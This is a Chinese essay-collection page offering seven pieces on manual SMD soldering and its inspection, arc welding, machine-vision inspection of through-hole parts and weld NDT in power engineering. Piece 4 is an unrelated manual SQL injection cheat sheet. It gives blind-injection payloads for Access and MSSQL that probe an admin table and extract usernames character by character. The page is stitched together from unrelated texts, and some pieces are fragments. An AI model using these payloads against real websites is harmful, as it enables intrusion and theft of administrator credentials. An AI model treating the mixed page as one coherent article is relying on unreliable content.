贴片器件手工焊接及其检测
“真雪雪羊”通过精心收集，向本站投稿了7篇贴片器件手工焊接及其检测，下面是小编为大家整理后的贴片器件手工焊接及其检测，供大家参考借鉴，希望可以帮助到有需要的朋友。
篇1：贴片器件手工焊接及其检测
摘要：本文主要阐述了贴片器件尤其大型集成贴片器件，引脚数量多。
类似于DSP、FPGA等，这类贴片器件的手工焊接技术和技巧，在一定程度上起到提高贴片器件焊接质量，减少由于虚焊带来的故障以及报废;同时本文又对贴片器件焊接质量检测技术进行了分析和展望。
引言
随着控制技术的发展，集成化程度的提高，各类电子设备也趋于功能强大、体积小、重量轻的方向发展。
贴片器件的迅速发展及推广，成为广大电气设计者的首选。
近年来航空、航天用各类电子设备也广泛采用贴片器件，尤其是大部分的核心器件类似于DSP、FPGA等。
由于军用电子设备必须通过比民用设备更为严酷的环境试验考核和更高的可靠性要求。
所以贴片器件的焊接质量至关重要，成了高可靠性的重要工艺控制环节;加上部分电路板器件安装的特殊要求，高焊接质量的贴片机无法使用，只能采用手工焊接方式。
虽然手工焊接是最为传统的.焊接方式，但是受到焊接者的焊接经验、焊接温度、焊接时间、焊接方法等方面的主观的限制，所以焊接质量也层次不齐。
本文主要针对贴片器件的手工焊接技术进行了探讨，对于贴片器件焊接质量的检验方法提出了更高的要求，即需要制定一套详细的检验方法或采用一些先进的方法和仪器设备用来检测贴片器件焊接质量，减少由于虚焊带来的故障和报废。
一、手工焊接
(一)手工焊接的一般步骤
手工焊接是一种技术成熟的、操作方便、灵活的一种焊接方式，目前大部分军用电子产品还是采用这种焊接方式，焊接过程一般都采用以下步骤。
1、焊接准备
贴片器件焊接一般需要的工具有：恒温电烙铁、松香、焊锡、热枪、特细橡胶棒、高放大倍数放大镜或显微镜系统。
2、贴片的固定
有两种方法：一是用少许普通胶水涂在集成电路和塑封部分，把集成电路正对焊盘固定在电路板上，待胶水变干将集成电路固定好，防止施焊时集成电路移动。
二是集成电路正放在电路板焊盘上，用烙铁固定好IC四个角的引脚。
3、焊接引脚
在引脚上涂上松香水，起助焊的作用，而且焊接时松香还可以防止集成电路过热。
用电烙铁给一排的引脚同时加热，然后加焊锡丝，使焊锡熔化并完全浸润焊点和引脚。
一排引脚同时焊好，移去焊锡丝和电烙铁，一般情况下焊锡会把引脚同时焊在一起。
4、吸锡整理
用金属编制带或多芯导线把一排引脚上的多余焊锡吸干净，引脚间不需连接的地方焊锡被吸走，只有焊盘和引脚处才留下焊锡，这样被焊接在一起的引脚就会正常分开。
最后，再用酒精棉球或毛刷沾酒精清洗松香清除引脚间的多余物。
(二)手工焊接的不足
手工焊接方式虽然操作方便、灵活，不受环境、地域和特殊焊接工艺的限制，但也有其自身的不足，主要体现在以下几个方面。
1、焊接过程和吸锡过程时间控制没有直观的时间量来控制，主要靠焊接者的直觉和经验。
整个焊接过程和吸锡过程的时间不要太太长，控制在几秒钟时间为宜，否则过热容易损坏集成电路，焊接时时间不够又极易出现虚焊。
2、焊接温度控制不能保证真正的“恒温”，因为焊接时间的长短、焊锡量的多少都将直接影响焊接温度。
如果焊锡较多温度就会升高，焊锡过少松香就很容易烧焦，可能会造成芯片或印制电路板的损伤。
3、不能保证焊接质量，手工焊接很容易出现不同程度的连焊和虚焊，因为焊接时焊锡的多少，只能凭借焊接者的个人主观判断，所以焊接时焊锡过多容易出现连焊的现象，这样可能会造成不同程度的短路现象，焊锡过少就会出现不能程度的虚焊，比如个别引脚的脱焊、和虚焊，这些情况可能在测试初期不一定能发现，但是在经历环境试验的任何一个阶段都可能出现故障。
二、贴片器件的拆除及返修
对于需要手工焊接的大型贴片器件在失效后的拆除一般情况也只适合手工拆除的方法。
手工拆除的方法也很多，本文主要介绍比较常用的几种。
拉线法：取一根长度和粗细合适的漆包线，将其一端刮干净上锡后，从集成块引脚的底部穿过，并将这一端焊在电路板的某一焊点上，用手拿着漆包线的另一端，用电烙铁加热1引脚，同时用手轻轻向外拉漆包线(向外拉线时，略向上用力)，当1脚焊锡熔化后，该脚即被拉起离开电路板。
采用同样的方法焊开其他引脚，直到集成块的每个脚都与电路板分开后，即可取下集成块。
这种方法比较慢，但比较可靠。
需要注意的是必须等所有焊锡完全熔化后，才能用力拉漆包线，否则会造成焊盘起皮、断落。
堆锡法，首先用烙铁在集成块四周引脚上加满焊锡。
然后用电烙铁头在集成块四周焊锡中快速移动，使四周的焊锡全部熔化，这时用镊子轻轻将集成块取下，或者同时用两把烙铁对集成块加热，这样提高了拆卸速度，这种方法简便快捷，但是必须掌握好“度”，也就是是说，既要是焊锡全部熔化，也不能加热太久，否则就有可能造成电路板的严重损坏。
分离法，分离法也简称破坏法，这种方法就是用合适的工具(类似平口的斜口钳等)沿集成电路引脚的根部将引脚剪断，用镊子拆下集成块除引脚的部分，然后再用镊子和尖头烙铁将引脚一根根的拆下，这种分离拆除法适合贴器件较长的情况，可以很好的保护印制板不受到损坏，但是拆卸下来的芯片受到破坏，可能无法进行正常器件测试和失效分析，除非特殊情况，一般不建议采用此方法。
整体加热法，这种方法是指先将该大型集成帖片器件周围的电子元器件等保护一起来，最为简单而常用的方法就是将多层纸胶带贴在需要拆卸器件的周围(还可以采用硅橡胶等在需要拆卸器件的周围形成保护层)，然后用热抢档位为380-400度均匀加热需要拆卸器件所有的焊接引脚，待焊锡熔化时轻轻用镊子取走该帖片器件，之后再用吸锡带或多股镀银线等清除焊盘上多余的焊锡，并用酒精清洗焊盘，这种方法适合该大型集成帖片器件周围空间较大，而且帖片器件引脚较短的情况。
三、贴片器件焊接质量的检验方法
目前手工焊接主要的检测方法有目视检测法、性能测试法和直接检查引脚法。
目视检测法是主要是指借助高放大倍数的放大镜灯或显微镜显示系统进行目视检查，检查过程就是将焊接并清洗之后的电路板放在高放大倍数的放大镜灯或显微镜系统下面，通过放大的方法很容易观测出芯片引脚直接是否有连焊或者脱焊的情况。
缺点是不能发现虚焊的情况。
性能测试法是指根据所焊接芯片的性能指标参数、以及在该电路板中的功能用途加电测试的方法，如果该芯片在电路中功能得以实现，初步判断焊接合格，比如DSP、FPGA就可以通过软件的加载、烧写和系统电性能测试的方法来确定焊接质量的好坏，缺点是不能发现更为深层次的虚焊。
深层次的虚焊只能同各种环境试验同步考核。
直接检查引脚法一般是指借助于细的橡胶棒等(注意头部应圆润光滑不锋利)工具轻轻的拨动芯片的引脚，来检查焊接质量的方法。
通常情况下对于焊接质量好的引脚是无法拨动的，但是对于脱焊和焊锡很少造成的虚焊的引脚就很容易发现，当橡胶棒接触到该类引脚时就会观察到引脚偏向侧边或出现弹性的运动，这种情况多为引脚脱焊或虚焊。
缺点是如果拨动时用力不当，会造成引脚的损伤。
以上三种方法是检查这种大型贴片芯片焊接质量的常用方法，通常情况下将方法一和方法二结合起来使用，就可以检查出焊接质量的好坏。
第三种方法主要用于排故时(已经发现该芯片无法实现预期功能出现故障了)使用，正常情况下不推荐使用。
四、发展前景与展望
目前手工焊接质量的检验方法，不管是目视检测法还是性能测试法都无法直观的判断出深层次的虚焊情况，而借用细橡胶棒等直接检查引脚焊接情况的方法不仅效率低，而且容易造成贴片器件引脚的损伤，并且大多这种损伤都是不可逆、不可直接发现的，所以除非排故需要，并不推荐使用。
据不完全统计，目前很大一部分电路板的报废都是由于大型集成贴片器件的虚焊造成的。
所以迫切需要一种类似于金属件的“探伤技术”的设备出现，这样在集成帖片器件手工焊接结束后，先通过检验设备对器件的每一个引脚进行“探伤”，只有“探伤”合格的产品才进行下步工序的调试及后续的环境试验。
这样由于深层次的虚焊造成的故障就可以得到很好的控制。
五、结束语
本文通过对大型集成贴片器件的手工焊接、维修及拆除、检测技术的探讨以及各种方法的优缺点比较，在一定程度上对于手工焊接起到了技术指导作用。
同时对于目前贴片器件的检验方法方面提出了更高的要求与未来发展方向的展望。
参考文献：
[1]葛瑞.表面组装焊接技术新发展.电子工艺技术，.20.
[2]Bob Willis.正确选择波峰焊接工艺参数.电子工程专辑，，2：118-119.
[3]张文典.实用表面组装技术.北京电子工业出版社，.
[4]周德俭.表面组装焊接技术新发展.电子工艺技术.1999.
篇2：贴片器件手工焊接及其检测
摘 要：随着我国科技水平的不断提高，电子类产品已经出现在人们的生活当中，并被人们广泛应用。
电子产品的微型化和集成化是当代技术革命的重要标志，也是未来发展的方向。
为了满足电子系统生产方面的要求，需要对贴片器件的焊接技术和焊接质量进行检测，减少焊接带来的一些故障问题，避免出现报废器件，节约生产成本。
文章对贴片器件的手工焊接步骤和不足之处、贴片拆除和返修以及贴片焊接的检测方法进行了分析，为贴片器件相关的工作人员提供一些有益参考。
关键词：焊接技术;贴片;质量检测
贴片器件在电子系统中的应用非常广泛，已成为广大电气工作人员的首选。
近几年来，无论是在航空航天领域，还是在机械生产领域，贴片都被相关设计者所重视，并且成为大部分电子设备的核心器件。
而我国军方所用的电子设备比民用电子设备所需的要求更高，所应用的试验环境更加恶劣，所以需要生产出可靠性高、质量更好的贴片器件来满足军方和社会的需求。
要想生产出符合要求的贴片器件，就必须对焊接的技术和质量进行研究，分析重要的工艺生产、控制环节。
因而，我们必须对其手工焊接技术进行分析，并且对其焊接质量进行检验。
1 手工焊接
1.1 步骤
在生产企业里，焊接贴片器件主要靠自动焊接设备，但在维修电子产品或研究单件制作样机时，检测和焊接贴片元器件都可能用到手工操作。
手工焊接的步骤如下：
(1)焊接材料准备。
焊锡丝一般使用0.5～0.8mm的活性焊锡丝，也可以用焊锡膏。
要使用腐蚀性小，免清洗的助焊剂。
(2)工具准备。
要用专用镊子和恒温电烙铁，电烙铁功率不超过20W。
如果提高要求，最好有热风工作台和专用维修站。
(3)焊接。
焊接电阻，电容等两端元器件时，一种方法是先在焊盘上涂覆助焊剂，并在基板上点一点专用胶水，将元器件固定在预定位置上，先焊好一端后，再焊另一端。
另一种方法是先在一个焊盘上镀锡，镀锡后电烙铁不要离开焊盘，快速用镊子夹着元器件放在焊盘上，焊好一个脚后，再焊另一个引脚。
焊接集成电路时，先把器件放在预定位置上，用少量焊锡焊住器件的2个对脚，使器件准确固定，然后将其他引脚涂上助焊剂，依次焊接。
如果技术水平过硬，可以用H型电烙铁进行“托焊”，即沿着器件引脚，把烙铁头快速往后托，焊接速度快，提高效率。
1.2 手工焊接的不足之处
手工焊接虽然简单、灵活、容易操作，不会受到外界因素的影响，但是本身却存在着一些不足之处。
(1)没有标准的时间量来控制焊接、吸锡过程，都是依靠焊操作术人员的经验和直觉来判断。
贴片器件的焊接时间不宜过长，一般控制在几秒钟，否则会将集成电路损坏，而焊接时间不足则会出现虚焊。
(2)手工焊接不能够精确掌握焊接的质量，容易出现连焊、虚焊等情况。
焊接技术人员只凭借自身的经验，没有精确控制焊接时的焊锡量，所以焊接过程中可能出现：焊锡量过多，造成连焊的现象，最终出现断路;焊锡量过少会造成虚焊，使个别的引脚脱焊。
虚焊比较难发现，可能不会在测试初期显现出来，但很可能在任何一个环节出现故障。
(3)手工焊接有较多局限性。
电阻，电容等两端元器件和简单的集成电路可以手工焊接完成，但象BGA方式封装的大型集成电路手工焊接没办法完成，必须用专用贴片设备。
2 贴片器件的拆除及返修
产品检测失效的元器件一般都会采用手工拆除的方法来拆除贴片器件，通常有以下几种拆除法：
(1)拉线拆除法。
拉线法是采用一根粗细、长短合适的漆包线，利用漆包线来切割溶化后的焊锡进行拆除。
将线条的一端清理干净加上焊锡，从拆除部位的引脚底部穿过，并将其焊接在适当的焊点上，另一端用手拿着，用电烙铁对引脚进行加热，并且用适当的力度向上拉漆包线，等引脚焊锡完全融化之后，就可以将引脚脱离出电路板。
其他部位的引脚拆除与其相同，等所有的引脚都离开电路板之后，就可以将之完全拆除。
拉线拆除法虽然比较慢，但是准确度非常高。
(2)分离拆除法。
分离法拆除贴片器件可以说成是一种破坏法，利用适当的工具将集成电路四周的引脚直接剪断，然后用镊子将集成块拆除，再用镊子和电烙铁的尖头将引脚一个个拆除。
这种方法最适合长贴片器件，能够很好地保护印制板，但是拆除下来的芯片却会受到极大的破坏，可能会失效，因此这种方法只建议在特殊情况使用。
(3)用专用加热头拆焊元器件。
一般想要拆焊晶体管和集成电路，要专用的加热头，用S型和L型加热头可以拆焊SOT晶体管和SO，SOL封装的集成电路。
(4)用热风工作台拆焊。
近年来，各种热风工作台已经在电子产品维修行业中普及。
热风工作台的热风筒上可以装配各种专用的热风嘴，用于拆卸不同尺寸，不同封装方式的芯片。
3 贴片器件焊接质量检验方法
3.1 目视检测法
目测检测贴片手工焊接质量必须采用相关的放大设备，就是将手工焊接之后的电路板进行清洗，清洗干净之后放在高放大倍数的显微镜设备下，通过放大镜来直接观测芯片引脚的手工焊接状况，但是无法直接观测出虚焊的情况。
3.2 性能测试法
性能测试法是检查手工焊接之后芯片的性能指标参数，通过加电测试法检测芯片在电路板中的功能用途，功能正常的情况可以初步认定为合格产品，无法实现功能的情况则直接判断为不合格产品。
这种检测方法无法发现深层次的虚焊，只能通过各种环境试验同步考核虚焊情况。
3.3 直接检查引脚法
直接检查引脚法需要借助相关的工具，如，细橡胶棒(橡胶棒的两头必须是圆润光滑的，不能锋利)。
用细橡胶棒的头部轻轻拨动手工焊接的引脚，检测其手工焊接是否合格。
一般情况下，焊接质量越好的引脚，越难将其拨动，而虚焊及脱焊等情况，可以直接将其拨动，很容易发现这些不合格的焊接。
这种检测方法必须掌握好拨动的力度，否则会直接造成引脚损伤。
以上这些焊接检测方法都是用在大型贴片焊接质量检测之上，很多情况下都是使用两种方法结合检测焊接质量。
4 结束语
目前，我国手工焊接质量检测技术不是很完美，其中存在着许多缺点，过于依靠经验和直觉，无法做到精确。
因此，相关的设计人员应该加大对贴片器件手工焊接技术及其检测技术的研究力度，寻找出完美无缺陷的质量检测技术，为检测人员减少工作压力。
同时，应该将现代高科技应用到焊接技术中，对其进行改进创新，寻找更为精确的焊接技术。
参考文献
[1]宿鸣明.电路板元器件的检测与识别[D].大连理工大学，，11.
[2]周德俭.表面组装焊接技术新发展[J].电子工艺技术.
篇3：手工焊接的方法论文
手工焊接的方法论文
手工焊接的技术要领
摘要：文章简述了手工焊接的基本概念和相关术语，同时对操作中常见的问题和注意事项进行了讨论
关键词：焊接;设备;安全
前言
焊接是设备机械制造和维修中不可或缺的基本环节，广泛的应用在各类工业部门，从尖端领域的航天工程的人造卫星，运载火箭的民用领域，到导弹、舰艇等种常规军事领域，从核工业、大型热电厂及水轮发电机组到各类民用设备，从船舶工业、陆路运输、航空运输等运输工具;从各类石油化工生产机械，重型起重机械、开矿设备、农业设备、电气设备、电子元器件。建筑安装工业等都离不开焊接这种工艺技术。在一些工业领域，焊接都属于关键技术环节，金属设备、工件与电子元器件的安装与维修中焊接工艺也是意义重大。
一、焊接的常用术语与分类
焊接的定义是指金属之间，用局部快速加热和加压等措施，激发金属内部的原子结合能量，让金属连接成一个刚体的一类热加工技术。具体可分为溶解焊接、高压焊接、钎焊三个类别。
溶解焊接是指把焊接的金属结合部分快速加温到熔化程度，同时加入填充金属物质，使其凝固后彼此链接在一起成刚体。常用的有电子弧焊、燃气焊等。高压焊是施加特定的压力，让两个结合面充分接触并产生较大的塑性形变，从而让两焊接件结合在一起。接触电焊、摩擦电焊等都属于高压焊接技术。钎焊是只对焊接工件的填充金属用的钎料实施适当加温，中间没有焊件金属熔化的过程，而熔点比较与焊件金属低的钎料熔化会大量填充在焊件间的缝隙处，使焊件紧密的`链接起来。
二、电弧焊设备简介
手动电弧焊的特点是操作简单，对设备要求不高，是可以在各种环境中顺利的完成各类金属材料在各个位置的不同接头型式的焊接工艺，在实际生产中应用很广泛。手动电弧焊装备施工中需要满足一下条件，引弧过程简单，通常用直流焊机的空载40-90V，交流焊机需要50-90v。同时电焊机的短路电流要注意避免过大，焊接电流可以灵活调节。电焊机的结构要求简单可靠、重量轻同时容易维修。
交流电焊机一类能满足焊接要求的特种降压装置，又称焊接变压装备。电焊机主的有以下几部分组成，固定铁芯、可动铁芯、一级线弧圈与二级线弧圈等构成。电源外特性依靠二级线圈数量的变动实施粗调节。接线板上有两种接线方式，接法包括全部的线圈，导致焊接电流较小，空载状态电压高较高。第二种接法包括部分和全部线圈，焊接状态电流很大，同时空载电压较低。细调节是用手柄移动活动铁芯完成调节。
直流电焊机可以分为焊接发电装置与焊接整流装置两类。焊接发电装置是由交流电动部分与直流电焊部分构成，空载的电流的可调节范围为40-320A。焊接整流装置让交流电模式转化成直流电模式。同时此类装置没有旋转部分，一般由交流降压变压装置、磁饱与电抗器和整流装置几部分构成。整流装置的通途是使交流电变转化成直流电。使用直流电焊机的过程中，工件接入正极，焊条接如负极时成为正接法，反之成为反接法。正接法焊件的温度很高，熔化效果明显，反接法焊件温度较低，熔化比较缓慢。电焊条由焊丝与焊接皮组成。焊丝的主要作用是充焊缝金属与稳定电流的作用，它的化学构成间接影响焊缝的质量。药皮的主要功能是确保焊缝金属有合乎标准的化学构成与机械能力等，同时保证焊条有优秀的焊接工艺能力。电焊条的号码和指标加数字表示含义。首先表示电焊条的大分类，几个数字的中前几位数字表示各大分类中的若干小类别，第三位的字码表示药类型与电源类型。例如结420，表示钢结构专用焊条，42代表抗拉伸不小于42OMPa，第三个数字2代表药皮是钦硅胶，电源种类是交直双待。焊条的牌号众多，可以参照相关手册中查到。
三、焊接作业前准备工作
首先要穿戴好焊接工作服，在焊接有色金属工件操作，需要戴过滤和防毒面具。在潮湿关键种的电焊必须站在干燥的木板上保证安全，同时专用穿橡胶绝缘鞋。同时要认真研究结构件焊接技术、焊缝尺寸具体要求，选择科学合理的施焊技术。焊接电流选择要根据工件的材料，厚度和焊条型号与牌号，焊接方法和焊条使用说明来决定。
四、焊接过程的注意事项
从焊条直径来分析，一般的焊件的厚度变大，选择的焊条直径相应变粗，但焊厚板的过程中对接接头接口内的表面焊层使用较细的焊条。针对根部可以避免均匀焊透的不开接口的角度，T字接头、搭接缝隙和后期铲根封底焊的对接缝隙，焊接电流的通常情况下增加焊接电流能提升生产效率，由于电流很多，易发生焊缝咬边、击穿等问题出现，电流过小，也容易造成夹渣、未焊透的问题，且生产效率较低。
五、焊接过程的常见问题
在焊接作业中，经常发生设计不科学，原材料不兼容要求，准备工作不够，焊接规范选择不合理等问题，同时还出现焊接技术与工艺措施不合理等现象，都会使焊接接头造成比较明显的缺陷。焊接接口的缺陷可以区分为表面与核心的缺陷，表面的焊接瑕疵包括焊缝成型缺陷、夹渣和咬边等现象。焊透不完全的主要运用是有焊接规范不科学，接口中和前的层次缝隙上有夹杂物，焊缝清理没有做到认真彻底，缝隙是焊接结构中最严重的一种隐患。砂眼是焊接接中经常发生的缺陷问题，它对焊接的致密性和强度有很大影响。原因是由于金属在液态时含有杂质气体，应对此问题，焊条应充分烘干，焊前要注意清理接头处的铁锈与油污。
六、手工焊接的安全问题
电焊工必须认真学习焊接的知识，充分熟悉所运用的装置，设备的性能，遵守各类器具操作规程，预防生产事故和人身安全事故的发生。开始作业之前，需要熟悉焊接场地的工件、设备、工具等放置位置同时调整合理，同时对设备进行安检，注意电气联线和保护接地线的正确安全，电线接线点要接保证触良好，防止发热或出现火花。当确认工作场地无危险隐患后，才可以实施合闸，按动启动按钮给电，开始焊接。及时更换焊条，身体不能接触焊钳与零件，避免遭到电击。工作结束后停机操作，需要及时按动停止按钮，关闭电焊机电源，再关闭电源刀闸开关。注意有负荷状态下拉闸，避免烧伤拉闸者。
参考文献
[1]刘燕峰.手工电焊工艺技术及应用.科技与企业. .22.
[2]王素.焊接的概念及电焊技术(上) 山东农机化.04.
[3]王素.焊接的概念及电焊技术(下) 山东农机化2004.05.
[4]宿忠旗.电焊焊接技术浅析.黑龙江科技信息.2013.32.
篇4：手工检测可否注入
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□ 检测可否注入
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url/xx?id=1111 and 1=1 (正常页面)
url/xx?id=1111 and 1=2 (出错页面)
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□ 检测表段的
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url/xx?id=1111 and exists (select * from admin)
==============================================================================
□ 检测字段的
==============================================================================
url/xx?id=1111 and exists (select username from admin)
==============================================================================
□ 检测ID
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url/xx?id=1111 and exists (select id from admin where ID=1)
==============================================================================
□ 检测长度的
==============================================================================
url/xx?id=1111 and exists (select id from admin where len(username)=5 and ID=1)
==============================================================================
□ 检测长度的
==============================================================================
url/xx?id=1111 and exists (select id from admin where len(username)=5 and ID=1)
==============================================================================
□ 检测是否为MSSQL数据库
==============================================================================
url/xx?id=1111 and exists (select * from sysobjects)
==============================================================================
□ 检测是否为英文
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(ACCESS数据库)
url/xx?id=1111 and exists (select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1)
(MSSQL数据库)
url/xx?id=1111 and exists (select id from admin where unicode(substring(username,1,1)) between 30 and 130 and ID=1)
==============================================================================
□ 检测英文的范围
==============================================================================
(ACCESS数据库)
url/xx?id=1111 and exists (select id from admin where asc(mid(username,1,1)) between 90 and 100 and ID=1)
(MSSQL数据库)
url/xx?id=1111 and exists (select id from admin where unicode(substring(username,1,1)) between 90 and 100 and ID=1)
==============================================================================
□ 检测那个字符
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(ACCESS数据库)
url/xx?id=1111 and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1)
(MSSQL数据库)
url/xx?id=1111 and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1)
===============================================================================
常用函数
===============================================================================
Access：asc(字符) SQLServer：unicode(字符)
作用：返回某字符的ASCII码
Access：chr(数字) SQLServer：nchar(数字)
作用：与asc相反，根据ASCII码返回字符
Access：mid(字符串,N,L) SQLServer：substring(字符串,N,L)
作用：返回字符串从N个字符起长度为L的子字符串，即N到N+L之间的字符串
Access：abc(数字) SQLServer：abc (数字)
作用：返回数字的绝对值（在猜解汉字的时候会用到）
Access：A between B And C SQLServer：A between B And C
作用：判断A是否界于B与C之间
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newsid=291&classid=12 and 1=1
newsid=291 and 1=1&classid=12
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NBSI没出来之前的收藏了，
手工检测可否注入
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篇5：通孔器件机器视觉检测算法
摘 要：分析了机器视觉检测算法的发展概况，采用标准机器视觉开发包，研究了通孔器件的机器视觉检测算法。
结果表明，针对通孔器件的不同特点，分成线束类和非线束类，分别采用NI视觉开发模块中的颜色定位算法和彩色模板匹配算法，使用不同的综合判据是可行的。
关键词：通孔器件;机器视觉;检测算法;颜色定位算法;彩色模板匹配算法
机器视觉在电子行业得到广泛应用，但主要集中于印刷电路、表面贴装，而通孔器件的通用质量检测设备则是空白或依赖定制。
在电子产品组装工艺中，除了表面贴装器件，还有大量的机插和手工装配的通孔元器件，如：接插件、连接线、大尺寸电解电容、变压器等。
这些器件大多有方向、极性、位置等要求，但同时又是在线测试、功能测试的盲点，只能通过人工目视检查。
由于操作员工技能、疲劳程度等因素影响，很容易造成漏检，存在很大的质量风险。
外观漏检成为某公司客户退返板第二大原因，达到35.1%，占外部故障成本的14.3%。
因此，进行通孔器件检测算法研究，研发基于机器视觉的通孔器件通用检测平台非常必要。
该算法应能检测接插件、连接线、电解电容、变压器、滤波器、二极管等机插和手工装配的通孔器件，可检验缺件、错件、极性反、线序错、位置偏移等不良。
篇6：通孔器件机器视觉检测算法
机器视觉已成为生产过程关键技术之一，在传感器将图像数据传送到计算机后，对这些图像数据的处理是机器视觉过程的真正关键[1]。
目标识别、位置探测、完整性检测、形状和尺寸检测、表面检测等是几种常用在必须有机器视觉系统参与的任务中的算法。
印刷电路板(Printed Circuit Board，PCB，下称PCB)图像的检测算法，大致可分为三大类：有参考比较算法、无参考校验法以及混合型算法。
有参考比较算法分为图像对比法和模型对比法;无参考校验法又称为设计规则校验法;混合型算法则综合上述两种算法，扬长避短。
目前自动光学检测(Automatic Optical Inspection，AOI，以下简称AOI)系统图像处理基本上采用参考算法，国外进口品牌大多使用图像匹配、法则判别等多种组合手段[2]。
PCB检测的参考算法主要采用形状匹配，可以选择的特征提取技术包括像素运算、模板匹配、霍夫变换等[3]。
模板匹配可以用来实现完整性检测和物体识别。
基本的模板匹配算法包括基于灰度值的模板匹配、使用图形金字塔进行匹配、基于灰度值的亚像素精度匹配、带旋转与缩放的模板匹配。
多年来，机器视觉应用中都选用这些基本模板匹配算法。
然而，越来越多的应用要求在存在遮挡、混乱和非线性光照变化的情况下找到目标物体，基于灰度值的模板匹配算法不能够处理这些类型的干扰。
因此需要使用边缘匹配算法等可靠的模板匹配算法[1]。
实现一个稳定可靠的模板匹配的基本算法已经相当复杂，而使这些匹配算法更稳定快速的过程则更加复杂。
一般机器视觉用户都依赖标准软件包来提供这些功能，而不会试图自己实现[1]。
下面将介绍美国国家仪器(National Instruments，NI，以下简称NI)视觉开发模块，以及基于NI视觉开发模块进行的通孔器件检测算法研究。
2 美国国家仪器视觉开发模块的应用
2.1 美国国家仪器视觉开发模块
NI视觉开发模块包含数以百计的视觉函数，NI LabVIEW、NI LabWindows/CVI、C/C++、或Visual Basic可以使用这些函数创建功能强大的视觉检测、定位、验证和测量应用程序。
所有NI视觉开发模块函数都使用以十分之一像素和十分之一度的亚像素级精确度来对位置、距离、和测量值进行插值[4]。
通常在选择视觉系统时，精确度、易用性、执行速度是三个需要考虑的重要因素。
NI视觉软件是高度优化的，它通过各种可能的途径提升性能，使得其可以与世界上最快的视觉软件包媲美。
事实上，与领先的视觉软件供应商相比，NI视觉软件在许多项目上都更为快速[4]。
2.2 通孔器件检测算法和综合判据
由于通孔元器件材料、形状、尺寸变化大，插装位置不如表面贴片器件规整，存在遮挡、混乱和非线性光照变化等情况，难以采用统一的算法和判据。
根据通孔器件的特点将其分为线束类和非线束类，分别采用NI视觉开发模块中的颜色定位算法和彩色模板匹配算法[5][6][7]。
2.2.1 线束和彩色定位算法
线束的特点是形状多变，位置随机，制程中的不良是不同颜色的线束错位。
外观检验主要检查线束的插装位置是否正确或是否装配有线束。
采用颜色定位算法[6]，如图1所示。
图1 颜色定位算法
综合判据：匹配分数大于等于900为合格，否则为不良。
算例[5]：
(1)正确装配的线束，与线束形状无关，匹配分数均大于900。
(2)错插、漏插的情况下，匹配分数小于900，本例中均小于800。
结论[5]：颜色定位算法适合线束类的检测。
2.2.2 非线束和彩色模板匹配算法
非线束的特点是形状固定，制程中的不良主要是极性反、错件、缺件，这也是外观检验的主要检查内容。
采用彩色模板匹配算法[6](详见图2)，该算法包括彩色模板学习和匹配两个算法[7]。
图2 彩色模板匹配算法
其中彩色模板学习算法包括两个模块：学习彩色模板设置模块和学习模块。
使用学习彩色模板设置模块设置两个参数：线束类学习模式应设置为平移信息，非线束类学习模式设置为平移与旋转信息;线束类特性模式应设置为颜色，非线束类特性模式设置为颜色与形状。
彩色模板学习模块只需输入图像和学习彩色模板设置数据，即可输出模板图像。
彩色模板匹配算法也包含两个模块：匹配彩色模板设置模块和匹配模块[6]。
匹配彩色模板设置模块中，需要设置两个关键参数：线束类匹配模式设置为无平移，非线束类匹配模式设置为无旋转;线束类匹配特性模式设置为颜色，非线束类匹配特性模式设置为颜色与形状。
彩色模板匹配模块，输入图像及其待检测区域、模板、匹配彩色模板设置数据、最小匹配分数、要求匹配数，即输出匹配结果Matches和匹配数。
综合判据：匹配分数大于等于700且旋转角度小于±45°为合格，否则为不良。
算例[5]：
(1)正确装配的元器件，匹配分数大于等于700且旋转角度小于±45°。
(2)错插、漏插的情况下，插座类绝大多数匹配分数和旋转角度均为0。
(3)反插情况下，曝光良好的图像可从旋转角度判断，本例中旋转角度在180°左右。
结论[5]：彩色模板匹配算法适合非线束类的检测。
3 结束语
(1)针对通孔器件的不同特点，分成线束类和非线束类，分别采用NI视觉开发模块中的颜色定位算法和彩色模板匹配算法，使用不同的综合判据是可行的。
(2)采用标准视觉开发包可以研发稳定可靠的通孔器件机器视觉应用通用平台。
篇7：电力工程焊接质量的检测论文
摘要：无损检测技术是金属技术监督的重要组成部分，也是焊接质量管理的关键手段，使用无损检测监督电力工程焊接质量，对提升焊接质量管理效果意义重大。本文以无损检测技术为视角，深入分析电力工程焊接管理中存在的问题，并依托某工程实例介绍无损检测应用现状，提出一系列做好焊接管理和无损检测工作的建议。
关键词：电力工程；射线检测技术；超声检测技术；焊接质量
随着焊接技术的发展和新兴材料的使用，我国电力事业得到迅猛发展，电厂管理者对焊接质量提出更高的要求。尤其在电力工程焊接过程中，现场焊接作业易受材料种类、焊工技能等因素的影响，此时，做好焊接质量管理工作对保障设备焊接质量产生重要影响。无损检测是一门综合性技术，在电子、机械生产等方面得到广泛使用，也成为保障电力工业用电安全的重要手段。电厂工程中无损检测工作具有流动性强、作业难度高等特点，要保障无损检测和焊接质量，关键在于合理监控无损检测活动。此时，我们不单要做好焊接管理工作，也要加强无损检测工作，以此达到全面控制电路工程焊接工作。本次研究从无损检测技术入手，分析电力工程焊接管理工作的不足之处，进一步介绍提升电力工程焊接质量的建议，以期为类似研究提供一定指导。
1无损检测的定义及方法
无损检测是指基于不影响或危害被检测对象具体功能条件下，通过射线、红外线等技术对设备、零件、材料等实施物理、化学、缺陷的检测技术。有学者研究指出，美国宇航局调查如今世界上大约有70多种无损检测技术。通常情况下，常用的无损检测方法包括射线、超声、交流场测量、声发射检测等，其中，超声和射线照相检测技术是电力工程中常用的检测方法，下文主要对这两种技术进行深入探讨。
1.1射线检测技术
射线检测具有穿透性好、电离作用等优势，主要应用在电子、石油化工、机械制造等领域铸件、焊缝的检测中。这种检测手段的原理为：根据射线在介质中传播的衰减特性判断。如果强度均匀的射线由被检测对象一面注入其中，由于缺陷与被检物材料对射线衰减特性不同，透过被检物不均匀的射线强度，以此判定被检测物表面或内部存在缺陷。但这种技术在电力工程中使用存在一定的缺陷：复杂的工艺、摆放位置不当、现场条件等因素均会影响其最终检测结果。
1.2超声检测技术
